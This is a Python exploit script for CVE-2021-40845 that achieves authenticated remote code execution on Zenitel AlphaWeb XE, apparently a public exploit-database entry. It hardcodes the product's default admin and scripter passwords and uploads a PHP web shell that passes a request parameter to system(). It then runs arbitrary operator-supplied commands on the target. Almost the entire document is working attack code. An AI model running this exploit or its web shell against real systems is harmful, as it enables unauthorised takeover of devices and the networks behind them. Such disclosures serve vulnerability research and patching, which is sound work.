| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 | # Exploit Title: AlphaWeb XE - File Upload Remote Code Execution (RCE) (Authenticated) # Date: 09/09/2021 # Exploit Author: Ricardo Ruiz (@ricardojoserf) # Vendor website: https://www.zenitel.com/ # Product website: https://wiki.zenitel.com/wiki/AlphaWeb # Example: python3 CVE-2021-40845.py -u "http://$ip:80/" -c "whoami" # Reference: https://github.com/ricardojoserf/CVE-2021-40845 import requests import base64 import argparse # Default credentials, change them if it is necessary admin_user = "admin" admin_pass = "alphaadmin" scripter_user = "scripter" scripter_pass = "alphascript" def get_args():  parser = argparse.ArgumentParser()  parser.add_argument('-u', '--url', required=True, action='store', help='Target url')  parser.add_argument('-c', '--command', required=True, action='store', help='Command to execute')  my_args = parser.parse_args()  return my_args def main():  args = get_args()  base_url = args.url  url_main = base_url + "/php/index.php"  url_upload = base_url + "/php/script_uploads.php"  command = args.command  uploaded_file = "poc.php"  url_cmd = base_url + "/cmd/" + uploaded_file + "?cmd=" + command  login_authorization ="Basic " + str(base64.b64encode((admin_user+':'+admin_pass).encode('ascii')).decode('ascii'))  upload_authorization = "Basic " + str(base64.b64encode((scripter_user+":"+scripter_pass).encode('ascii')).decode('ascii'))  headers_login = {  "Authorization": login_authorization,  "Cache-Control": "max-age=0"  }  headers_upload = {  'Authorization': upload_authorization,  'sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="92"',  'sec-ch-ua-mobile': '?0',  'Upgrade-Insecure-Requests': '1',  'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36',  'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',  'Sec-Fetch-Site': 'same-origin',  'Sec-Fetch-Mode': 'navigate',  'Sec-Fetch-User': '?1',  'Sec-Fetch-Dest': 'iframe',  'Accept-Encoding': 'gzip, deflate',  'Accept-Language': 'en-US,en;q=0.9',  }  files = {  "userfile":(uploaded_file, "<?php if(isset($_REQUEST['cmd'])){ echo \"<pre>\"; $cmd = ($_REQUEST['cmd']); system($cmd); echo \"</pre>\"; die; }?>"),  }  s = requests.session()  # Login as admin  s.get(url_main, headers = headers_login)  # Upload file  upload = s.post(url_upload, files=files, headers = headers_upload)  # Execute command  cmd = s.post(url_cmd)  print(cmd.text.replace("<pre>","").replace("</pre>","")) if __name__ == "__main__": main() |